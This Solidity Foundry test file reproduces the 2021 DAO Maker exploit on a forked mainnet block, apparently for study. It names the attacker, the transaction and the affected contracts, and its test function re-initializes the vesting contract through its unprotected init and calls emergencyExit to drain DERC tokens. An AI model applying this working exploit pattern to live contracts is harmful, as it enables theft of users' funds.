src/test/2021-09/DaoMaker_exp.sol

1// SPDX-License-Identifier: GPL-3.0
2 
3pragma solidity ^0.8.13;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7/*
8    Attacker: 0x2708cace7b42302af26f1ab896111d87faeff92f
9    Attack tx: https://etherscan.io/tx/0x96bf6bd14a81cf19939c0b966389daed778c3a9528a6c5dd7a4d980dec966388
10    Affected contracts:
11        0x6e70c88be1d5c2a4c0c8205764d01abe6a3d2e22 - emergencyExit with 13.5M CAPS
12        0xd6c8dd834abeeefa7a663c1265ce840ca457b1ec - emergencyExit with 2.5M CPD, twice
13        0xdd571023d95ff6ce5716bf112ccb752e86212167 - emergencyExit with 1.44M DERC
14        0xa43b89d5e7951d410585360f6808133e8b919289 - emergencyExit with approx 20.6M SHO
15    Root cause: They left the `init` function unprotected. The attacker re-initialized the contract with 
16    malicious data and then called `emergencyExit` to get away with the funds.*/
17 
18interface DAOMaker {
19    function init(uint256, uint256[] calldata, uint256[] calldata, address) external;
20    function emergencyExit(
21        address
22    ) external;
23}
24 
25contract ContractTest is Test {
26    DAOMaker daomaker = DAOMaker(0x2FD602Ed1F8cb6DEaBA9BEDd560ffE772eb85940);
27    IERC20 DERC = IERC20(0x9fa69536d1cda4A04cFB50688294de75B505a9aE);
28 
29    function setUp() public {
30        vm.createSelectFork("mainnet", 13_155_320); // fork mainnet block number 13155320
31    }
32 
33    function testExploit() public {
34        uint256[] memory releasePeriods = new uint256[](1);
35        releasePeriods[0] = 5_702_400;
36        uint256[] memory releasePercents = new uint256[](1);
37        releasePercents[0] = 10_000;
38 
39        emit log_named_decimal_uint("Before exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);
40 
41        // initialize to become contract owner
42        daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE);
43 
44        // call emergencyExit to drain out the token.
45        daomaker.emergencyExit(address(this));
46 
47        emit log_named_decimal_uint("After exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);
48    }
49 
50    receive() external payable {}
51}